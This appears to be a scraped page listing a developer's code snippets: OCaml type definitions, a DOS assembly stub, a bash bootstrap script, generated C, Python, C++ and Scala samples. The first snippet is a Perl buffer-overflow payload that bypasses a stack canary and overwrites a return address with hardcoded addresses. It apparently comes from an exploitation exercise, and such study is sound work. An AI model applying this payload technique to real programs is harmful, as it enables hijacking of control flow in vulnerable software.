This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env perl | |
print "a" x 32; # fill some buffer gap | |
print "Z"."\x45\x8b\x6b"; # save the canary unchanged but use a temporary byte instead zero-byte to prolong c-string in memory | |
print "b" x 12; # fill some another gap | |
print "\x5b\x85\x04\x08"; # override the func_A() return address from main() body to func_B() beginning | |
print "\xd3\x94\xe1\xf7"; # write the func_B() return address equal to main() one | |
print "\n"; # return from first gets() call and wait for another one | |
print "c" x 32; # replace the temporary byte denoting zero-byte within canary with real zero |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
type ident = string | |
type pattern = { pname : ident; pargs : ident list; } | |
type expr = | |
| Var of ident | |
| Ctr of ident * expr list | |
| FCall of ident * expr list | |
| GCall of ident * expr list | |
type gdef = { | |
gname : ident; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
type ident = string | |
type pattern = { pname : ident; pargs : ident list; } | |
type expr = | |
| Var of ident | |
| Ctr of ident * expr list | |
| FCall of ident * expr list | |
| GCall of ident * expr list | |
type gdef = { | |
gname : ident; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
model tiny | |
.code | |
.486 | |
org 100h | |
_: | |
fm_aligned = (offset free_memory - _ + 100h + 15) / 16 * 16 | |
load_address = fm_aligned + 100h | |
start: call get_fname |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# sll_bs -- Bootstrapping environment for SLL project (OCaml/Camlp5/Ostap) | |
# Usage: ./sll_bs | |
# | |
# Author: Roman Tereshin <tereshin.roman@gmail.com> | |
# Created: 2014-03-10 | |
cwd=`pwd` | |
ocaml_major="4.01" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Object mul_(Object ctr, Object y_) { | |
Object result = NULL; | |
switch (SLL_get_ctr_id(ctr[0])) { | |
case N_: { | |
Object const gcall_mul = mul_((Object)ctr[1], y_); | |
Object const gcall_neg = neg_(gcall_mul); | |
result = gcall_neg; | |
break; | |
} case S_: { | |
Object const gcall_mul_1 = mul_((Object)ctr[1], y_); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# gen.py -- Searching of test for the problem "Japanese computer" by genetic algorithm | |
# Usage: ./gen.py ./executable_file | |
# | |
# Author: Roman Tereshin <tereshin.roman@gmail.com> | |
# Created: 2014-03-19 | |
import os | |
import sys | |
import time |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <algorithm> | |
#include <iostream> | |
#include <iterator> | |
#include <string> | |
#include <vector> | |
struct Employer { | |
std::string firstname; | |
std::string lastname; | |
double age; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
object IdentParser { | |
def parse[S <: { def getIdent(): String }](stream: S) = { | |
val ident = stream.getIdent() | |
println("IdentParser got ident `" + ident + "'") | |
ident | |
} | |
} | |
object ConstParser { | |
def parse[S <: { def getConst(): String }](stream: S) = { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
type 'e expr = [ | |
| `Var of string | |
| `Ctr of string * 'e list | |
] | |
let string_of_expr string_of_e = function | |
| `Var vname -> vname | |
| `Ctr (cname, args) -> | |
cname ^ "(" ^ String.concat ", " (List.map string_of_e args) ^ ")" |
OlderNewer